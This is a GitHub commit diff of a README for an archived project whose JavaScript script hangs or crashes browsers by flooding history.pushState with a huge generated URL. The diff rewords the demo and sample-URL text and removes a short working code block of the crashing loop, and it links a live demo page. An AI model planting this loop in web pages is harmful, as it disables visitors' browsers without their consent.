You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository was archived by the owner on May 7, 2022. It is now read-only.
Copy file name to clipboardExpand all lines: README.md
+8-8Lines changed: 8 additions & 8 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -4,11 +4,11 @@ Simple JS script that overloads the browser with a huge URL (Where it gets its n
4
4
5
5
## Demo
6
6
7
-
Why GIFs when you can see it working live? Visit [this](https://fuk.netlify.app) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya!
7
+
Visit [this](https://fuk.netlify.app) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya!
8
8
9
9
## The url
10
10
11
-
You can see an example of the generated URL in [SAMPLE-URL.md](SAMPLE-URL.md), its huge and note the pattern (123456789101112131415....)
11
+
You can see an example of the generated URL in [SAMPLE-URL.md](SAMPLE-URL.md), its huge and this is a result of running it for 200 ms.
12
12
13
13
## The code
14
14
@@ -18,12 +18,12 @@ The code exploits the [HTML5 pushState](https://developer.mozilla.org/en-US/docs
18
18
19
19
Instead of just changing the path from `website.com/pageone` to `website.com/pagetwo` it creates a string of numbers long enough to slow the browser until it won't function, hang, or crash.
20
20
21
-
```javascript
22
-
var total ="";//blank variable
23
-
for( var i =0; i <10000000; i++ ) {//increases the value of 'i' by 1 till it becomes 10000000
24
-
total = total +i.toString();//adds the value of 'i' to total everytime it increases
25
-
history.pushState(0,0, total );//sends the value of total to the url to load
0 commit comments